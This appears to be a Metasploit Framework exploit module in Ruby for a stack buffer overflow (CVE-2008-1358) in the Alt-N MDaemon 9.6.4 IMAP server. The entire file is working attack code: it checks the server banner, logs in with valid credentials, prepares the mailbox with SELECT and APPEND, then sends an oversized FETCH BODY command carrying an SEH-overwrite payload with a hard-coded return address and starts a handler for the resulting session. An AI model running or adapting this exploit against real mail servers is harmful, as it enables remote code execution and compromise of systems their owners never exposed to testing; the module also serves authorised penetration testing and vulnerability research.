104 lines
2.4 KiB
Ruby
104 lines
2.4 KiB
Ruby
##
|
|
# $Id$
|
|
##
|
|
|
|
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# Framework web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/framework/
|
|
##
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
|
|
include Msf::Exploit::Remote::Imap
|
|
include Msf::Exploit::Seh
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'MDaemon 9.6.4 IMAPD FETCH Buffer Overflow',
|
|
'Description' => %q{
|
|
This module exploits a stack overflow in the Alt-N MDaemon IMAP Server
|
|
version 9.6.4 by sending an overly long FETCH BODY command. Valid IMAP
|
|
account credentials are required. Credit to Matteo Memelli
|
|
},
|
|
'Author' => [ 'Jacopo Cervini', 'patrick' ],
|
|
'License' => MSF_LICENSE,
|
|
'Version' => '$Revision$',
|
|
'References' =>
|
|
[
|
|
[ 'OSVDB', '43111' ],
|
|
[ 'CVE', '2008-1358' ],
|
|
[ 'BID', '28245' ],
|
|
[ 'URL', 'http://www.milw0rm.com/exploits/5248' ],
|
|
],
|
|
'Privileged' => false,
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'seh',
|
|
},
|
|
'Payload' =>
|
|
{
|
|
'Space' => 400,
|
|
'BadChars' => "\x00\x0a])",
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[ 'MDaemon Version 9.6.4', { 'Ret' => 0x64dc118b } ], # p/p/r HashCash.dll
|
|
],
|
|
'DisclosureDate' => 'March 13 2008',
|
|
'DefaultTarget' => 0))
|
|
end
|
|
|
|
def check
|
|
connect
|
|
disconnect
|
|
|
|
if (banner and banner =~ /IMAP4rev1 MDaemon 9.6.4 ready/)
|
|
return Exploit::CheckCode::Vulnerable
|
|
end
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
|
|
def exploit
|
|
connect_login
|
|
|
|
req0="0002 SELECT Inbox\r\n"
|
|
|
|
res = raw_send_recv(req0)
|
|
if (res and res =~ /0002 OK/)
|
|
print_status("SELECT command OK")
|
|
end
|
|
|
|
req1="0003 APPEND Inbox {1}\r\n"
|
|
|
|
res = raw_send_recv(req1)
|
|
if (res and res =~ /Ready for append literal/)
|
|
print_status("APPEND command OK")
|
|
end
|
|
|
|
res = raw_send_recv(rand_text_alpha(20) + "\r\n")
|
|
if (res and res =~ /APPEND completed/)
|
|
print_status("APPEND command finished")
|
|
end
|
|
|
|
buf = rand_text_alpha_upper(528, payload_badchars)
|
|
buf << generate_seh_payload(target.ret) + rand_text_alpha_upper(35, payload_badchars)
|
|
|
|
sploit = "A654 FETCH 2:4 (FLAGS BODY[" + buf + "(DATE FROM)])\r\n"
|
|
|
|
print_status("Sending payload")
|
|
|
|
sock.put(sploit)
|
|
|
|
handler
|
|
disconnect
|
|
end
|
|
|
|
end
|